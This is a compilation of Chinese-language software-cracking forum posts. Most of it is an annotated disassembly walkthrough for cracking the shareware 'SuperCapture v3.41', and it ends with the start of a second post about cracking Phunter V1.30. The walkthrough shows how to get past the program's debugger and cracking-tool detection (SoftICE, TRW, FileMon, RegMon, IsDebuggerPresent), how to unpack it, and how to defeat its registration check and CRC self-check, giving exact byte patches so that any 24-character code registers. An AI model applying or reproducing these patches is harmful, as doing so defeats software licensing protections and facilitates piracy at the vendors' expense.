:00401B37 E844960200 call 0042B180 這裡是CRACK工具檢測,去看有那些工具
:00401B3C 85C0 test eax, eax
:00401B3E 740F je 00401B4F 這裡一定要跳
:00401B40 8B561C mov edx, dword ptr [esi+1C]
:00401B43 6A00 push 00000000
:00401B45 6830750000 push 00007530
:00401B4A 6A04 push 00000004
:00401B4C 52 push edx
:00401B4D FFD7 call edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401B3E(C)
|
* Reference To: KERNEL32.IsDebuggerPresent, Ord:021Bh
調用IsDebuggerPresent()來檢測是否有調試器存在。
這個函數只能檢查使用 Debug API 來跟蹤程序的調試器。
:00401B4F E8DC950200 Call 0042B130
:00401B54 85C0 test eax, eax
:00401B56 740F je 00401B67 這裡一定要跳
:00401B58 8B461C mov eax, dword ptr [esi+1C]
:00401B5B 6A00 push 00000000
:00401B5D 6830750000 push 00007530
:00401B62 6A04 push 00000004
:00401B64 50 push eax
:00401B65 FFD7 call edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401B56(C)
|
:00401B67 8B4E1C mov ecx, dword ptr [esi+1C]
:00401B6A 6A00 push 00000000
:00401B6C 6860EA0000 push 0000EA60
:00401B71 6A05 push 00000005
:00401B73 51 push ecx
:00401B74 FFD7 call edi
:00401B76 5F pop edi
:00401B77 5E pop esi
:00401B78 33C0 xor eax, eax
:00401B7A 5B pop ebx
:00401B7B 83C440 add esp, 00000040
:00401B7E C20400 ret 0004

這裡是檢測CRACK工具內容
* Referenced by a CALL at Address:
|:00401B37
|
* Possible StringData Ref from Code Obj ->"\\.\SICE" 這是 SoftIce Windows 9x版本
|
:0042B180 6864034F00 push 004F0364
:0042B185 E8B6FFFFFF call 0042B140
:0042B18A 83C404 add esp, 00000004
:0042B18D 85C0 test eax, eax
:0042B18F 7406 je 0042B197
:0042B191 B801000000 mov eax, 00000001
:0042B196 C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042B18F(C)
|
* Possible StringData Ref from Code Obj ->"\\.\NTICE" 這是 SoftIce Windows NT版本
|
:0042B197 6858034F00 push 004F0358
:0042B19C E89FFFFFFF call 0042B140
:0042B1A1 83C404 add esp, 00000004
:0042B1A4 85C0 test eax, eax
:0042B1A6 7406 je 0042B1AE
:0042B1A8 B801000000 mov eax, 00000001
:0042B1AD C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042B1A6(C)
|
* Possible StringData Ref from Code Obj ->"\\.\FILEMON" 這是 File Moniter
|監視系統中各文件讀寫操作，特別適合破解 Key File 保護的軟件
:0042B1AE 684C034F00 push 004F034C
:0042B1B3 E888FFFFFF call 0042B140
:0042B1B8 83C404 add esp, 00000004
:0042B1BB 85C0 test eax, eax
:0042B1BD 7406 je 0042B1C5
:0042B1BF B801000000 mov eax, 00000001
:0042B1C4 C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042B1BD(C)
|
* Possible StringData Ref from Code Obj ->"\\.\REGMON" 這是 Registry Moniter
|監視各軟件對註冊的讀取操作
:0042B1C5 6840034F00 push 004F0340
:0042B1CA E871FFFFFF call 0042B140
:0042B1CF 83C404 add esp, 00000004
:0042B1D2 85C0 test eax, eax
:0042B1D4 7406 je 0042B1DC
:0042B1D6 B801000000 mov eax, 00000001
:0042B1DB C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042B1D4(C)
|
* Possible StringData Ref from Code Obj ->"\\.\TRW" 這是 TRWIN
|
:0042B1DC 6838034F00 push 004F0338
:0042B1E1 E85AFFFFFF call 0042B140
:0042B1E6 83C404 add esp, 00000004
:0042B1E9 85C0 test eax, eax
:0042B1EB 7406 je 0042B1F3
:0042B1ED B801000000 mov eax, 00000001
:0042B1F2 C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042B1EB(C)
|
* Possible StringData Ref from Code Obj ->"\\.\TRWDEBUG" 這是 TRWIN
|
:0042B1F3 6828034F00 push 004F0328
:0042B1F8 E843FFFFFF call 0042B140
:0042B1FD 83C404 add esp, 00000004
:0042B200 85C0 test eax, eax
:0042B202 7406 je 0042B20A
:0042B204 B801000000 mov eax, 00000001
:0042B209 C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042B202(C)
|
* Possible StringData Ref from Code Obj ->"\\.\ICEDUMP"
|
:0042B20A 681C034F00 push 004F031C
:0042B20F E82CFFFFFF call 0042B140
:0042B214 83C404 add esp, 00000004
:0042B217 F7D8 neg eax
:0042B219 1BC0 sbb eax, eax
:0042B21B F7D8 neg eax
:0042B21D C3 ret

:00424F7C 50 push eax
:00424F7D 688D040000 push 0000048D
:00424F82 E8D9880700 call 0049D860
:00424F87 83F818 cmp eax, 00000018 這裡是判斷你輸入的註冊碼是否有24位
:00424F8A 741A je 00424FA6
:00424F8C 8B8EA8020000 mov ecx, dword ptr [esi+000002A8]
:00424F92 6A00 push 00000000
:00424F94 6A10 push 00000010

* Possible StringData Ref from Code Obj ->"Incomplete or incorrect Registration-Number. "
->"Please input again!"
|
:00424F96 6894EE4E00 push 004EEE94
:00424F9B E8309BFFFF call 0041EAD0
:00424FA0 5F pop edi
:00424FA1 5E pop esi
:00424FA2 83C424 add esp, 00000024
:00424FA5 C3 ret

* Reference To: USER32.KillTimer, Ord:0196h
|
:004252BD FF15C8E74B00 Call dword ptr [004BE7C8]
:004252C3 6A00 push 00000000
:004252C5 E8B4020600 call 0048557E
:004252CA 8B15B8165000 mov edx, dword ptr [005016B8]
:004252D0 83C404 add esp, 00000004
:004252D3 2BC2 sub eax, edx
:004252D5 83F805 cmp eax, 00000005
:004252D8 0F83BC000000 jnb 0042539A
:004252DE A1B4165000 mov eax, dword ptr [005016B4] 這裡是取出註冊標誌
:004252E3 85C0 test eax, eax eax=1 註冊成功 eax=0 註冊失敗
:004252E5 0F849F000000 je 0042538A 就是這裡~不可跳~但不建議改這
:004252EB 8B13 mov edx, dword ptr [ebx]
:004252ED 57 push edi
:004252EE 8BCB mov ecx, ebx
:004252F0 FF92C8000000 call dword ptr [edx+000000C8]
:004252F6 8D44240C lea eax, dword ptr [esp+0C]
:004252FA 50 push eax
:004252FB E83075FFFF call 0041C830
:00425300 BF84165000 mov edi, 00501684
:00425305 83C9FF or ecx, FFFFFFFF
:00425308 33C0 xor eax, eax
:0042530A 8D9424B0030000 lea edx, dword ptr [esp+000003B0]
:00425311 F2 repnz
:00425312 AE scasb
:00425313 F7D1 not ecx
:00425315 2BF9 sub edi, ecx
:00425317 8BC1 mov eax, ecx
:00425319 8BF7 mov esi, edi
:0042531B 8BFA mov edi, edx
:0042531D C1E902 shr ecx, 02
:00425320 F3 repz
:00425321 A5 movsd
:00425322 8BC8 mov ecx, eax
:00425324 83E103 and ecx, 00000003
:00425327 F3 repz
:00425328 A4 movsb
:00425329 8D4C2410 lea ecx, dword ptr [esp+10]
:0042532D 51 push ecx
:0042532E E83D75FFFF call 0041C870
:00425333 8B8BA8020000 mov ecx, dword ptr [ebx+000002A8]
:00425339 83C408 add esp, 00000008
:0042533C 6A00 push 00000000
:0042533E 6A10 push 00000010

* Possible StringData Ref from Code Obj ->"Registe Ok!" 這裡就是註冊成功的訊息囉~往上看
|
:00425340 68D8EE4E00 push 004EEED8
:00425345 E88697FFFF call 0041EAD0
:0042534A 8B1588DE4F00 mov edx, dword ptr [004FDE88]

* Reference To: USER32.PostMessageA, Ord:01D9h
|
:00425350 8B35F8E74B00 mov esi, dword ptr [004BE7F8]
:00425356 6A00 push 00000000
:00425358 6A00 push 00000000
:0042535A 6853050000 push 00000553
:0042535F 52 push edx
:00425360 FFD6 call esi
:00425362 A17C165000 mov eax, dword ptr [0050167C]
:00425367 5F pop edi
:00425368 85C0 test eax, eax
:0042536A 742E je 0042539A
:0042536C 6A00 push 00000000
:0042536E 6A00 push 00000000
:00425370 6853050000 push 00000553
:00425375 50 push eax
:00425376 FFD6 call esi
:00425378 8BCB mov ecx, ebx
:0042537A E880550700 call 0049A8FF
:0042537F 5E pop esi
:00425380 5B pop ebx
:00425381 81C4BC0A0000 add esp, 00000ABC
:00425387 C20400 ret 0004

找那裡存 [005016B4] 註冊標誌
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042377D(C)
|
:0042373C 8B47F8 mov eax, dword ptr [edi-08]
:0042373F 8B57FC mov edx, dword ptr [edi-04]
:00423742 8B4F04 mov ecx, dword ptr [edi+04]
:00423745 03C2 add eax, edx
:00423747 8B17 mov edx, dword ptr [edi]
:00423749 03C1 add eax, ecx
:0042374B 03C2 add eax, edx
:0042374D 33D2 xor edx, edx
:0042374F B91A000000 mov ecx, 0000001A
:00423754 F7F1 div ecx
:00423756 8B442410 mov eax, dword ptr [esp+10]
:0042375A 8910 mov dword ptr [eax], edx
:0042375C 8B942448050000 mov edx, dword ptr [esp+00000548]
:00423763 8A0C2A mov cl, byte ptr [edx+ebp]
:00423766 33D2 xor edx, edx
:00423768 3A08 cmp cl, byte ptr [eax]
:0042376A 0F94C2 sete dl 當相等，dl=1
就改這~ 0F 94 C2 ==>> 42 90 90
就是 INC EDX
NOP
NOP
:0042376D 23F2 and esi, edx 這裡是關鍵
:0042376F 45 inc ebp
:00423770 83C710 add edi, 00000010
:00423773 83C004 add eax, 00000004
:00423776 83FD10 cmp ebp, 00000010
:00423779 89442410 mov dword ptr [esp+10], eax
:0042377D 72BD jb 0042373C
:0042377F 6A00 push 00000000
:00423781 89B424AC000000 mov dword ptr [esp+000000AC], esi
:00423788 E8F11D0600 call 0048557E
:0042378D 8B7C2460 mov edi, dword ptr [esp+60]
:00423791 83C404 add esp, 00000004
:00423794 2BC7 sub eax, edi
:00423796 83F802 cmp eax, 00000002
:00423799 0F87BB030000 ja 00423B5A
:0042379F 6A00 push 00000000
:004237A1 E8D81D0600 call 0048557E
:004237A6 2BC7 sub eax, edi
:004237A8 83C404 add esp, 00000004
:004237AB 83F802 cmp eax, 00000002
:004237AE 0F87A6030000 ja 00423B5A
:004237B4 33C0 xor eax, eax
:004237B6 8D8C24BC010000 lea ecx, dword ptr [esp+000001BC]
:004237BD 89442444 mov dword ptr [esp+44], eax
:004237C1 894C241C mov dword ptr [esp+1C], ecx
:004237C5 EB07 jmp 004237CE 由這往向上看

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00423B44(C)
|
:004237C7 8BB424A8000000 mov esi, dword ptr [esp+000000A8]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004237C5(U) 由004237C5來到這
|
:004237CE 8B54241C mov edx, dword ptr [esp+1C]
:004237D2 8D8C843C040000 lea ecx, dword ptr [esp+4*eax+0000043C]
:004237D9 894C244C mov dword ptr [esp+4C], ecx
:004237DD 83E00F and eax, 0000000F
:004237E0 0FBF12 movsx edx, word ptr [edx]
:004237E3 8911 mov dword ptr [ecx], edx
:004237E5 8935B4165000 mov dword ptr [005016B4], esi 這裡就是存註冊標誌的地方,向上看
:004237EB 0FBE4B07 movsx ecx, byte ptr [ebx+07]
:004237EF 0FBE7301 movsx esi, byte ptr [ebx+01]

CRC校驗
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0041D32D(C), :0041D340(C)
|
:0041D347 E814DF0000 call 0042B260
:0041D34C 85C0 test eax, eax
:0041D34E 7404 je 0041D354 改這比較好~ 74 04 ==>> EB 31
也就是 JMP 0041D381
:0041D350 85F6 test esi, esi
:0041D352 742D je 0041D381 這裡就可以跳過去囉~但不改這

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041D34E(C)
|
:0041D354 8B471C mov eax, dword ptr [edi+1C]
:0041D357 6A05 push 00000005
:0041D359 50 push eax

* Reference To: USER32.KillTimer, Ord:0196h
|
:0041D35A FF15C8E74B00 Call dword ptr [004BE7C8]
:0041D360 6A00 push 00000000
:0041D362 6A00 push 00000000

* Possible StringData Ref from Code Obj ->"SuperCapture not properly installed "
->"! Please download new version "
->"at: http://www.SueprCapture.com "
->"and reinstall SuperCapture!"
| 看到上面的訊息~所以往上看
:0041D364 6830E44E00 push 004EE430
:0041D369 E88CB30800 call 004A86FA
:0041D36E 8B4F1C mov ecx, dword ptr [edi+1C]
:0041D371 6A00 push 00000000
:0041D373 6A00 push 00000000
:0041D375 6854050000 push 00000554
:0041D37A 51 push ecx

* Reference To: USER32.PostMessageA, Ord:01D9h
|
:0041D37B FF15F8E74B00 Call dword ptr [004BE7F8]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041D352(C)
|
:0041D381 5F pop edi
:0041D382 5E pop esi
:0041D383 C3 ret


超级屏捕 v3.41

 标 题:超級屏捕 v3.41 破解過程~寫的有點亂~ (19千字)
发信人:夢幻紫雲
时 间:2002-2-18 0:55:56
详细信息:
工具：TRW 2000 v1.23註冊版、w32dasm黃金版、Hiew v6.76註冊版
破解後，只要輸入24位註冊碼，就可以註冊成功囉~~
程式進入點是 004865889 所以用trw把程式載入後下 bpx 486588、一次F5
下 makepe 、下 suspend、運行 Revirgin 選SUPERCAP.EXE 在OEP填00486588 點選 FetchIAT
點選IAT Resolyer、接下來右邊RVA 填00002000 (我是這樣填)、點選generte、選擇剛剝殼後的檔案
這樣就可運行了~寫的好亂
* Referenced by a CALL at Addresses:
|:00401C09 , :004254E6 , :00425749
|這裡會來三次~這和v3.20、v3.30不同，和v3.40相同
這裡是檢測CRACK工具
* Possible StringData Ref from Code Obj ->"\\.\SICE" 這是 SoftIce Windows 9x版本
|
:0042B430 6858064F00 push 004F0658
:0042B435 E8B6FFFFFF call 0042B3F0
:0042B43A 83C404 add esp, 00000004
:0042B43D 85C0 test eax, eax
:0042B43F 7406 je 0042B447
:0042B441 B801000000 mov eax, 00000001
:0042B446 C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042B43F(C)

* Possible StringData Ref from Code Obj ->"\\.\NTICE" 這是 SoftIce Windows NT版本
|
:0042B447 684C064F00 push 004F064C
:0042B44C E89FFFFFFF call 0042B3F0
:0042B451 83C404 add esp, 00000004
:0042B454 85C0 test eax, eax
:0042B456 7406 je 0042B45E
:0042B458 B801000000 mov eax, 00000001
:0042B45D C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042B456(C)

* Possible StringData Ref from Code Obj ->"\\.\TRW" 這是 TRWIN
|
:0042B45E 6844064F00 push 004F0644
:0042B463 E888FFFFFF call 0042B3F0
:0042B468 83C404 add esp, 00000004
:0042B46B 85C0 test eax, eax
:0042B46D 7406 je 0042B475
:0042B46F B801000000 mov eax, 00000001
:0042B474 C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042B46D(C)

* Possible StringData Ref from Code Obj ->"\\.\TRWDEBUG" 這是 TRWIN
|
:0042B475 6834064F00 push 004F0634
:0042B47A E871FFFFFF call 0042B3F0
:0042B47F 83C404 add esp, 00000004
:0042B482 85C0 test eax, eax
:0042B484 7406 je 0042B48C
:0042B486 B801000000 mov eax, 00000001
:0042B48B C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042B484(C)

* Possible StringData Ref from Code Obj ->"\\.\ICEDUMP"
|
:0042B48C 6828064F00 push 004F0628
:0042B491 E85AFFFFFF call 0042B3F0
:0042B496 83C404 add esp, 00000004
:0042B499 F7D8 neg eax
:0042B49B 1BC0 sbb eax, eax
:0042B49D F7D8 neg eax
:0042B49F C3 ret

關鍵一
* Reference To: USER32.SetTimer, Ord:0239h
|
:00401BE1 8B3DF8E74B00 mov edi, dword ptr [004BE7F8]
:00401BE7 8B88CC020000 mov ecx, dword ptr [eax+000002CC]
:00401BED 85C9 test ecx, ecx
:00401BEF 7548 jne 00401C39
:00401BF1 E82A940200 call 0042B020
:00401BF6 85C0 test eax, eax
:00401BF8 740F je 00401C09 這裡一定要跳,建議改這裡直接跳過去
把 74 0F ==>> EB 3F
也就是 JMP 00401C39
:00401BFA 8B4E1C mov ecx, dword ptr [esi+1C]
:00401BFD 6A00 push 00000000
:00401BFF 68D0070000 push 000007D0
:00401C04 6A04 push 00000004
:00401C06 51 push ecx
:00401C07 FFD7 call edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401BF8(C)
:00401C09 E822980200 call 0042B430 檢測CRACK工具
:00401C0E 85C0 test eax, eax
:00401C10 740F je 00401C21
:00401C12 8B561C mov edx, dword ptr [esi+1C]
:00401C15 6A00 push 00000000
:00401C17 68D0070000 push 000007D0
:00401C1C 6A04 push 00000004
:00401C1E 52 push edx
:00401C1F FFD7 call edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401C10(C)

* Reference To: KERNEL32.IsDebuggerPresent, Ord:021Bh
調用IsDebuggerPresent()來檢測是否有調試器存在。
這個函數只能檢查使用 Debug API 來跟蹤程序的調試器。
:00401C21 E8BA970200 Call 0042B3E0
:00401C26 85C0 test eax, eax
:00401C28 740F je 00401C39
:00401C2A 8B461C mov eax, dword ptr [esi+1C]
:00401C2D 6A00 push 00000000
:00401C2F 68D0070000 push 000007D0
:00401C34 6A04 push 00000004
:00401C36 50 push eax
:00401C37 FFD7 call edi

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00401BEF(C), :00401C28(C)
|
:00401C39 8B4E1C mov ecx, dword ptr [esi+1C]
:00401C3C 6A00 push 00000000
:00401C3E 6860EA0000 push 0000EA60
:00401C43 6A05 push 00000005
:00401C45 51 push ecx
:00401C46 FFD7 call edi
:00401C48 5F pop edi
:00401C49 5E pop esi
:00401C4A 33C0 xor eax, eax
:00401C4C 5B pop ebx
:00401C4D 83C440 add esp, 00000040
:00401C50 C20400 ret 0004

關鍵二
* Reference To: USER32.KillTimer, Ord:0196h
|
:0042549D FF15C4E74B00 Call dword ptr [004BE7C4]
:004254A3 6A00 push 00000000
:004254A5 E804040600 call 004858AE
:004254AA 8B15B8195000 mov edx, dword ptr [005019B8]
:004254B0 83C404 add esp, 00000004
:004254B3 2BC2 sub eax, edx
:004254B5 83F805 cmp eax, 00000005
:004254B8 0F830E010000 jnb 004255CC
:004254BE A1B4195000 mov eax, dword ptr [005019B4] 這裡是取出註冊標誌
:004254C3 85C0 test eax, eax eax=1 註冊成功 eax=0 註冊失敗
:004254C5 0F84F1000000 je 004255BC
:004254CB E8EBB20800 call 004B07BB
:004254D0 8B4004 mov eax, dword ptr [eax+04]
:004254D3 8B88CC020000 mov ecx, dword ptr [eax+000002CC] 可疑？
:004254D9 85C9 test ecx, ecx
:004254DB 7540 jne 0042551D
:004254DD E83E5B0000 call 0042B020
:004254E2 85C0 test eax, eax
:004254E4 7512 jne 004254F8 這裡一定要跳,建議改這裡直接跳過去
把 75 12 ==>> EB 37
也就是 JMP 0042551D
:004254E6 E8455F0000 call 0042B430 檢測CRACK工具
:004254EB 85C0 test eax, eax
:004254ED 7509 jne 004254F8

* Reference To: KERNEL32.IsDebuggerPresent, Ord:021Bh
調用IsDebuggerPresent()來檢測是否有調試器存在。
這個函數只能檢查使用 Debug API 來跟蹤程序的調試器。
:004254EF E8EC5E0000 Call 0042B3E0
:004254F4 85C0 test eax, eax
:004254F6 7425 je 0042551D

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004254E4(C), :004254ED(C)
|
:004254F8 8B4B1C mov ecx, dword ptr [ebx+1C]
:004254FB 6A00 push 00000000
:004254FD 6A00 push 00000000
:004254FF 6854050000 push 00000554
:00425504 51 push ecx

* Reference To: USER32.PostMessageA, Ord:01D9h
|
:00425505 FF15F4E74B00 Call dword ptr [004BE7F4]
:0042550B 8BCB mov ecx, ebx
:0042550D E829570700 call 0049AC3B
:00425512 5E pop esi
:00425513 5B pop ebx
:00425514 81C4C00A0000 add esp, 00000AC0
:0042551A C20400 ret 0004

關鍵三
:00425739 33F6 xor esi, esi
:0042573B E8E0580000 call 0042B020
:00425740 85C0 test eax, eax
:00425742 7405 je 00425749 把 74 05 ==>> EB 33
也就是 JMP 00425777
:00425744 BE01000000 mov esi, 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00425742(C)
:00425749 E8E25C0000 call 0042B430 檢測CRACK工具
:0042574E 85C0 test eax, eax
:00425750 7405 je 00425757
:00425752 BE01000000 mov esi, 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00425750(C)

* Reference To: KERNEL32.IsDebuggerPresent, Ord:021Bh
調用IsDebuggerPresent()來檢測是否有調試器存在。
這個函數只能檢查使用 Debug API 來跟蹤程序的調試器。
:00425757 E8845C0000 Call 0042B3E0
:0042575C 85C0 test eax, eax
:0042575E 7504 jne 00425764
:00425760 85F6 test esi, esi
:00425762 7413 je 00425777

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042575E(C)
:00425764 8B531C mov edx, dword ptr [ebx+1C]
:00425767 6A00 push 00000000
:00425769 6A00 push 00000000
:0042576B 6854050000 push 00000554
:00425770 52 push edx

* Reference To: USER32.PostMessageA, Ord:01D9h
|
:00425771 FF15F4E74B00 Call dword ptr [004BE7F4]

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00425737(C), :00425762(C)
:00425777 5F pop edi
:00425778 5E pop esi
:00425779 B801000000 mov eax, 00000001
:0042577E 5B pop ebx
:0042577F 81C4000B0000 add esp, 00000B00
:00425785 C3 ret

關鍵四
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004254DB(C), :004254F6(C)
:0042551D 8B13 mov edx, dword ptr [ebx]
:0042551F 57 push edi
:00425520 8BCB mov ecx, ebx
:00425522 FF92C8000000 call dword ptr [edx+000000C8]
:00425528 8D44240C lea eax, dword ptr [esp+0C]
:0042552C 50 push eax
:0042552D E8AE76FFFF call 0041CBE0
:00425532 BF84195000 mov edi, 00501984
:00425537 83C9FF or ecx, FFFFFFFF
:0042553A 33C0 xor eax, eax
:0042553C 8D9424B4030000 lea edx, dword ptr [esp+000003B4]
:00425543 F2 repnz
:00425544 AE scasb
:00425545 F7D1 not ecx
:00425547 2BF9 sub edi, ecx
:00425549 8BC1 mov eax, ecx
:0042554B 8BF7 mov esi, edi
:0042554D 8BFA mov edi, edx
:0042554F C1E902 shr ecx, 02
:00425552 F3 repz
:00425553 A5 movsd
:00425554 8BC8 mov ecx, eax
:00425556 83E103 and ecx, 00000003
:00425559 F3 repz
:0042555A A4 movsb
:0042555B 8D4C2410 lea ecx, dword ptr [esp+10]
:0042555F 51 push ecx
:00425560 E8BB76FFFF call 0041CC20
:00425565 8B8BA8020000 mov ecx, dword ptr [ebx+000002A8]
:0042556B 83C408 add esp, 00000008
:0042556E 6A00 push 00000000
:00425570 6A10 push 00000010

* Possible StringData Ref from Code Obj ->"Registe Ok!"
這是註冊成功訊息~所以往上看
:00425572 68E4F14E00 push 004EF1E4

關鍵五
:00423BA8 85F6 test esi, esi
:00423BAA 8917 mov dword ptr [edi], edx
:00423BAC 741B je 00423BC9 把 74 1B ==>> 90 90
:00423BAE 8B942448050000 mov edx, dword ptr [esp+00000548]
:00423BB5 8B442440 mov eax, dword ptr [esp+40]
:00423BB9 8A1410 mov dl, byte ptr [eax+edx]
:00423BBC 8A07 mov al, byte ptr [edi]
:00423BBE 3AD0 cmp dl, al
:00423BC0 7507 jne 00423BC9 把 75 07 ==>> 90 90
:00423BC2 BE01000000 mov esi, 00000001
:00423BC7 EB02 jmp 00423BCB

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00423BAC(C), :00423BC0(C)
:00423BC9 33F6 xor esi, esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00423BC7(U)
:00423BCB 8B442440 mov eax, dword ptr [esp+40]
:00423BCF 83C110 add ecx, 00000010
:00423BD2 40 inc eax
:00423BD3 83C704 add edi, 00000004
:00423BD6 83F810 cmp eax, 00000010
:00423BD9 89442440 mov dword ptr [esp+40], eax
:00423BDD 72AF jb 00423B8E
:00423BDF 6A00 push 00000000
:00423BE1 89742414 mov dword ptr [esp+14], esi
:00423BE5 E8C41C0600 call 004858AE
:00423BEA 8B7C2460 mov edi, dword ptr [esp+60]
:00423BEE 83C404 add esp, 00000004
:00423BF1 2BC7 sub eax, edi
:00423BF3 83F802 cmp eax, 00000002
:00423BF6 0F87B7030000 ja 00423FB3
:00423BFC 6A00 push 00000000
:00423BFE E8AB1C0600 call 004858AE
:00423C03 2BC7 sub eax, edi
:00423C05 83C404 add esp, 00000004
:00423C08 83F802 cmp eax, 00000002
:00423C0B 0F87A2030000 ja 00423FB3
:00423C11 33C0 xor eax, eax
:00423C13 8D8C24BC010000 lea ecx, dword ptr [esp+000001BC]
:00423C1A 89442440 mov dword ptr [esp+40], eax
:00423C1E 894C241C mov dword ptr [esp+1C], ecx
:00423C22 EB04 jmp 00423C28

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00423F9E(C)
:00423C24 8B742410 mov esi, dword ptr [esp+10]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00423C22(U)
:00423C28 8B54241C mov edx, dword ptr [esp+1C]
:00423C2C 8D8C843C040000 lea ecx, dword ptr [esp+4*eax+0000043C]
:00423C33 894C2458 mov dword ptr [esp+58], ecx
:00423C37 83E00F and eax, 0000000F
:00423C3A 0FBF12 movsx edx, word ptr [edx]
:00423C3D 8911 mov dword ptr [ecx], edx
:00423C3F 8935B4195000 mov dword ptr [005019B4], esi 這裡存註冊標誌,向上看

關鍵六：自校驗
* Referenced by a CALL at Address:
|:00404C0C
:0041D750 A14C0F5000 mov eax, dword ptr [00500F4C]
:0041D755 81EC00040000 sub esp, 00000400
:0041D75B 56 push esi
:0041D75C 57 push edi
:0041D75D 33FF xor edi, edi
:0041D75F 8BF1 mov esi, ecx
:0041D761 85C0 test eax, eax
:0041D763 7418 je 0041D77D
:0041D765 E851300900 call 004B07BB
:0041D76A 8B4008 mov eax, dword ptr [eax+08]
:0041D76D 50 push eax
:0041D76E FF154C0F5000 call dword ptr [00500F4C]
:0041D774 85C0 test eax, eax
:0041D776 7505 jne 0041D77D
:0041D778 BF01000000 mov edi, 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0041D763(C), :0041D776(C)
:0041D77D E85EDD0000 call 0042B4E0
:0041D782 85C0 test eax, eax
:0041D784 7408 je 0041D78E 改為 xor edi,edi
就是 74 08 ==>> 33 FF
:0041D786 85FF test edi, edi
:0041D788 0F8489000000 je 0041D817

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041D784(C)
:0041D78E 8B461C mov eax, dword ptr [esi+1C]
:0041D791 6A05 push 00000005
:0041D793 50 push eax

* Reference To: USER32.KillTimer, Ord:0196h
|
:0041D794 FF15C4E74B00 Call dword ptr [004BE7C4]
:0041D79A 8D4C2408 lea ecx, dword ptr [esp+08]
:0041D79E 6800010000 push 00000100
:0041D7A3 51 push ecx
:0041D7A4 8B8E13070000 mov ecx, dword ptr [esi+00000713]

* Possible StringData Ref from Code Obj ->"SuperCapture was not properly "
->"installed !"
看到上面的訊息~所以往上看
:0041D7AA 68C0E74E00 push 004EE7C0
:0041D7AF E8DC150000 call 0041ED90
:0041D7B4 8B8E13070000 mov ecx, dword ptr [esi+00000713]
:0041D7BA 8D942408010000 lea edx, dword ptr [esp+00000108]
:0041D7C1 6800010000 push 00000100
:0041D7C6 52 push edx

* Possible StringData Ref from Code Obj ->"Please download new version and "
->"reinstall SuperCapture! Download "
->"URL:"
:0041D7C7 6878E74E00 push 004EE778
:0041D7CC E8BF150000 call 0041ED90
:0041D7D1 8D842408010000 lea eax, dword ptr [esp+00000108]
:0041D7D8 8D4C2408 lea ecx, dword ptr [esp+08]
:0041D7DC 50 push eax
:0041D7DD 51 push ecx
:0041D7DE 8D942410020000 lea edx, dword ptr [esp+00000210]

* Possible StringData Ref from Code Obj ->"%s %s http://www.SuperCapture.com"
|
:0041D7E5 6854E74E00 push 004EE754
:0041D7EA 52 push edx
:0041D7EB E85C7C0600 call 0048544C
:0041D7F0 83C410 add esp, 00000010
:0041D7F3 8D842408020000 lea eax, dword ptr [esp+00000208]
:0041D7FA 6A00 push 00000000
:0041D7FC 6A00 push 00000000
:0041D7FE 50 push eax
:0041D7FF E836B20800 call 004A8A3A
:0041D804 8B4E1C mov ecx, dword ptr [esi+1C]
:0041D807 6A00 push 00000000
:0041D809 6A00 push 00000000
:0041D80B 6854050000 push 00000554
:0041D810 51 push ecx

* Reference To: USER32.PostMessageA, Ord:01D9h
|
:0041D811 FF15F4E74B00 Call dword ptr [004BE7F4]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041D788(C)
:0041D817 5F pop edi
:0041D818 5E pop esi
:0041D819 81C400040000 add esp, 00000400
:0041D81F C3 ret


程式猎人(Phunter) V1.30

 标 题:暴力破解 程式猎人(Phunter) V1.30 (11千字)
发信人:炎之川
时 间:2001-10-25 23:05:13
详细信息:
暴力破解 程式猎人(Phunter) V1.30

程式猎人(Phunter) V1.30
软件大小： 192 KB
软件类别： 国产软件 / 共享版 / 文件管理
应用平台： Win95/98/NT/2000
原版软件： http://202.107.104.34/soft/down/phunter_130.zip （192k，天空软件站）
软件介绍： 方便好用的资源管理软件，引入了软件数据库的概念，免去了你自己添加程序之苦，六大特色如下：1、自动搜索功能：自动查找你硬盘上的应用程序，帮你自动分类添加，方便管理。2、分类管理程序：引入了“程序组”与“程序项”的概念，使得各种程序的管理更加方便。3、快速启动程序：可以方便的启动任何一个应用程序。4、自动排序功能：根据程序使用频率进行排序，使常用的程序总在最前面。5、多种资源管理：程序项不仅可以是应用程序，还可以是任何一个可以使用的文件，比如MP3文件。甚至可以是一个网址或E-mail地址，全面管理你的资源。6、绝对绿色程序：即拷即用，不会在您的硬盘留下任何垃圾。

未注册版本限制：不能添加六个以上的程序组

